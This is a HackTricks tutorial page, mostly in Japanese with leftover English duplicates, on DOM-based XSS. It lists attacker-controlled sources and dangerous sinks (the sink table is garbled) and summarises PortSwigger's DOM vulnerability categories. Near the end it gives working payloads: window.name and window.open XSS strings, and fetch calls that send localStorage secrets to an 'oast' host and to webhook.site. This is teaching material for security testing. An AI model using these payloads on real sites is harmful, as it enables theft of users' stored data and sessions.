DOM XSS

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

DOM 脆弱性

DOM 脆弱性は、攻撃者が制御する ソース(例:location.search, document.referrer, document.cookie)からのデータが不適切に シンク に渡されると発生します。シンクは、悪意のあるデータを与えられた場合に有害な内容を実行またはレンダリングする可能性のある関数やオブジェクト(例:eval(), document.body.innerHTML)です。

  • ソース は、攻撃者によって操作可能な入力で、URL、cookies、web messages などが含まれます。
  • シンク は、悪意あるデータがスクリプト実行などの悪影響を引き起こす可能性のある潜在的に危険なエンドポイントです。

リスクは、データが適切に検証やサニタイズされることなく ソース から シンク に流れるときに発生し、XSS のような攻撃を可能にします。

Tip

より更新された sources と sinks の一覧は次で確認できます: https://github.com/wisec/domxsswiki/wiki

一般的なソース:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

Common Sinks:

Open RedirectJavascript InjectionDOM-data manipulationjQuery
locationeval()scriptElement.srcadd()
location.hostFunction() constructorscriptElement.textafter()
location.hostnamesetTimeout()scriptElement.textContentappend()
location.hrefsetInterval()scriptElement.innerTextanimate()
location.pathnamesetImmediate()someDOMElement.setAttribute()insertAfter()
location.searchexecCommand()someDOMElement.searchinsertBefore()
location.protocolexecScript()someDOMElement.textbefore()
location.assign()msSetImmediate()someDOMElement.textContenthtml()
location.replace()range.createContextualFragment()someDOMElement.innerTextprepend()
open()crypto.generateCRMFRequest()someDOMElement.outerTextreplaceAll()
domElem.srcdoc``Local file-path manipulationsomeDOMElement.valuereplaceWith()
XMLHttpRequest.open()FileReader.readAsArrayBuffer()someDOMElement.namewrap()
XMLHttpRequest.send()FileReader.readAsBinaryString()someDOMElement.targetwrapInner()
jQuery.ajax()FileReader.readAsDataURL()someDOMElement.methodwrapAll()
$.ajax()FileReader.readAsText()someDOMElement.typehas()
``Ajax request manipulationFileReader.readAsFile()someDOMElement.backgroundImageconstructor()
XMLHttpRequest.setRequestHeader()FileReader.root.getFile()someDOMElement.cssTextinit()
XMLHttpRequest.open()FileReader.root.getFile()someDOMElement.codebaseindex()
XMLHttpRequest.send()Link manipulationsomeDOMElement.innerHTMLjQuery.parseHTML()
jQuery.globalEval()someDOMElement.hrefsomeDOMElement.outerHTML$.parseHTML()
$.globalEval()someDOMElement.srcsomeDOMElement.insertAdjacentHTMLClient-side JSON injection
``HTML5-storage manipulationsomeDOMElement.actionsomeDOMElement.oneventJSON.parse()
sessionStorage.setItem()XPath injectiondocument.write()jQuery.parseJSON()
localStorage.setItem()document.evaluate()document.writeln()$.parseJSON()
**[**`Denial of Service`**](dom-xss.md#denial-of-service)**someDOMElement.evaluate()document.title``Cookie manipulation
requestFileSystem()``Document-domain manipulationdocument.implementation.createHTMLDocument()document.cookie
RegExp()document.domainhistory.pushState()WebSocket-URL poisoning
Client-Side SQl injectionWeb-message manipulationhistory.replaceState()WebSocket
executeSql()postMessage()````

The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.

モダンブラウザでは、innerHTML sink は script 要素を受け付けず、svg onload イベントも発火しません。したがって、imgiframe といった代替要素を使う必要があります。

This kind of XSS is probably the hardest to find, as you need to look inside the JS code, see if it’s using any object whose value you control, and in that case, see if there is any way to abuse it to execute arbitrary JS.

この種の XSS はおそらく最も見つけにくいです。JS コードの内部を調べ、攻撃者が制御できるオブジェクトを使用しているかどうかを確認し、該当する場合はそれを悪用して任意の JS を実行できるかどうかを探す必要があるからです。

Tools to find them

Examples

Open Redirect

From: https://portswigger.net/web-security/dom-based/open-redirection

Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.

Open redirect vulnerabilities in the DOM は、スクリプトが攻撃者の制御下にあるデータを書き込み、ドメイン間のナビゲーションを開始できる sink に入れると発生します。

It’s crucial to understand that executing arbitrary code, such as javascript:alert(1), is possible if you have control over the start of the URL where the redirection occurs.

リダイレクトが発生する URL の先頭部分を制御できる場合、javascript:alert(1) のような任意のコードを実行できることを理解しておくことが重要です。

Sinks:

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

From: https://portswigger.net/web-security/dom-based/cookie-manipulation

DOM-based cookie-manipulation vulnerabilities は、スクリプトが攻撃者によって制御され得るデータを cookie の値に組み込むと発生します。
この脆弱性は、サイト内で cookie が利用されている場合にウェブページの予期しない動作を引き起こす可能性があります。さらに、cookie がユーザーセッションの追跡に関与している場合には、session fixation attack に悪用される可能性があります。
この脆弱性に関連する主要なシンクは次のとおりです:

Sinks:

document.cookie

JavaScript Injection

出典: https://portswigger.net/web-security/dom-based/javascript-injection

DOM-based JavaScript injection 脆弱性は、スクリプトが攻撃者によって制御できるデータを JavaScript コードとして実行する場合に発生します。

Sinks:

eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()

Document-domain manipulation

出典: https://portswigger.net/web-security/dom-based/document-domain-manipulation

Document-domain manipulation vulnerabilities は、攻撃者が制御できるデータを用いてスクリプトが document.domain プロパティを設定する場合に発生します。

document.domain プロパティは、ブラウザによる same-origin policy施行 において 重要な役割 を果たします。異なるオリジンの2つのページが document.domain同じ値 に設定すると、制限なく相互にやり取りできます。ブラウザは document.domain に割り当て可能な値に対して一定の 制限 を課し、実際のページオリジンとまったく無関係な値の割り当てを防いでいますが、例外も存在します。通常、ブラウザは 子ドメイン親ドメイン の使用を許可します。

Sinks:

document.domain

WebSocket-URL poisoning

From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning

WebSocket-URL poisoning は、スクリプトが WebSocket 接続のターゲットURLとして 制御可能なデータ を利用する場合に発生します。

Sinks:

The WebSocket コンストラクタは WebSocket-URL poisoning の脆弱性につながる可能性があります。

From: https://portswigger.net/web-security/dom-based/link-manipulation

DOM-based link-manipulation vulnerabilities は、スクリプトが現在のページ内のナビゲーションターゲット(例えばクリック可能なリンクやフォームの送信URL)に 攻撃者が制御できるデータを書き込む 場合に発生します。

Sinks:

someDOMElement.href
someDOMElement.src
someDOMElement.action

Ajax request manipulation

From: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation

Ajax request manipulation vulnerabilities は、スクリプトが XmlHttpRequest オブジェクトを使用して発行される Ajax request に attacker-controllable data into an Ajax request を書き込むときに発生します。

シンク:

XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()

Local file-path manipulation

From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation

Local file-path manipulation vulnerabilities は、スクリプトが filename パラメータとして attacker-controllable data to a file-handling API を渡す場合に発生します。
この脆弱性は、攻撃者が URL を構築し、別のユーザーがそれを訪れた場合に、そのユーザーのブラウザが任意のローカルファイルを開いたり書き込んだりすることにつながるように悪用される可能性があります。

Sinks:

FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()

Client-Side SQl injection

出典: https://portswigger.net/web-security/dom-based/client-side-sql-injection

Client-side SQL-injection vulnerabilities は、スクリプトが attacker-controllable data into a client-side SQL query in an unsafe way を組み込むときに発生します。

Sinks:

executeSql()

HTML5-storage manipulation

出典: https://portswigger.net/web-security/dom-based/html5-storage-manipulation

HTML5-storage manipulation vulnerabilities は、スクリプトが 攻撃者が制御できるデータをウェブブラウザの HTML5 storage に保存する (localStorage or sessionStorage) 場合に発生します。
この動作自体は必ずしもセキュリティ脆弱性ではありませんが、アプリケーションがその後に 保存されたデータを読み取り、安全でない方法で処理する と問題になります。
これにより攻撃者はストレージ機構を悪用して、他の DOM-based attacks(例えば cross-site scripting や JavaScript injection)を実行できるようになります。

Sinks:

sessionStorage.setItem()
localStorage.setItem()

XPath injection

From: https://portswigger.net/web-security/dom-based/client-side-xpath-injection

DOM-based XPath-injection vulnerabilities は、スクリプトが 攻撃者が制御できるデータを XPath query に組み込む 場合に発生します。

Sinks:

document.evaluate()
someDOMElement.evaluate()

Client-side JSON injection

From: https://portswigger.net/web-security/dom-based/client-side-json-injection

DOM-based JSON-injection vulnerabilities は、スクリプトが 攻撃者が制御可能なデータを JSON データ構造として解析される文字列に組み込み、その後アプリケーションによって処理される 場合に発生します。

Sinks:

JSON.parse()
jQuery.parseJSON()
$.parseJSON()

Web-message manipulation

出典: https://portswigger.net/web-security/dom-based/web-message-manipulation

Web-message vulnerabilities は、スクリプトがブラウザ内の別のドキュメントに対して 攻撃者が制御可能なデータを web message として送信する ときに発生します。脆弱な Web-message manipulation の PortSwigger’s Web Security Academy で確認できます。

Sinks:

The postMessage() method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.

DOM-data manipulation

出典: https://portswigger.net/web-security/dom-based/dom-data-manipulation

DOM-data manipulation vulnerabilities は、スクリプトが DOM 内のフィールドに 攻撃者が制御可能なデータを書き込み、それが表示される UI やクライアントサイドのロジックで利用される場合に発生します。
この脆弱性は、攻撃者が特定の URL を作成し、他のユーザーがその URL を訪れるとクライアントサイド UI の見た目や動作を変更できるように悪用される可能性があります。

Sinks:

scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()

Denial of Service

出典: https://portswigger.net/web-security/dom-based/denial-of-service

DOM-based denial-of-service vulnerabilities は、スクリプトが 攻撃者が制御可能なデータを問題のあるプラットフォームAPIに安全でない方法で渡す と発生します。これには、呼び出されるとユーザーのコンピュータが 過剰なCPUやディスク容量を消費する 可能性のあるAPIが含まれます。こうした脆弱性は、副次的に重大な影響を及ぼすことがあり、例えばブラウザが localStorage へのデータ保存を拒否したり、長時間実行中のスクリプトを終了させることでウェブサイトの機能を制限することがあります。

Sinks:

requestFileSystem()
RegExp()

Dom Clobbering

Dom Clobbering

暗黙のグローバルと window.name の悪用

name を宣言(var/let/const)なしで参照すると window.name に解決されます。window.name はクロスオリジンのナビゲーション間で持続するため、攻撃者はブラウジングコンテキスト名を HTML/JS で事前に埋め、後で被害者のコードにそれを信頼されたデータとしてレンダリングさせることができます:

  • 自分が制御する名前付きコンテキストでターゲットを開く/ナビゲートする:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
  • または、window.open を再利用して細工したターゲット名を指定する:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")

もしアプリケーションが後で element.innerHTML = name(または同様の sink)をサニタイズせずに実行すると、攻撃者が制御する window.name 文字列がターゲットオリジンで実行され、DOM XSS と same-origin storage へのアクセスを可能にします。

管理者/自動化フロー:事前に設定されたストレージ & javascript: ナビゲーション

自動化ボット(例:Playwright)は多くの場合、まず内部ページを訪問して localStorage/cookies に秘密を設定し、次にユーザー提供の URL に移動します。そのフロー内のどんな DOM XSS プリミティブ(window.name の悪用を含む)でも、事前に設定された秘密を外部に持ち出すことができます:

fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))

もしボットがスキームを制限していない場合、javascript: URL(javascript:fetch(...))を渡すと、新しいナビゲーションなしで現在の origin 内で実行され、storage values が直接 leak されます。

参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする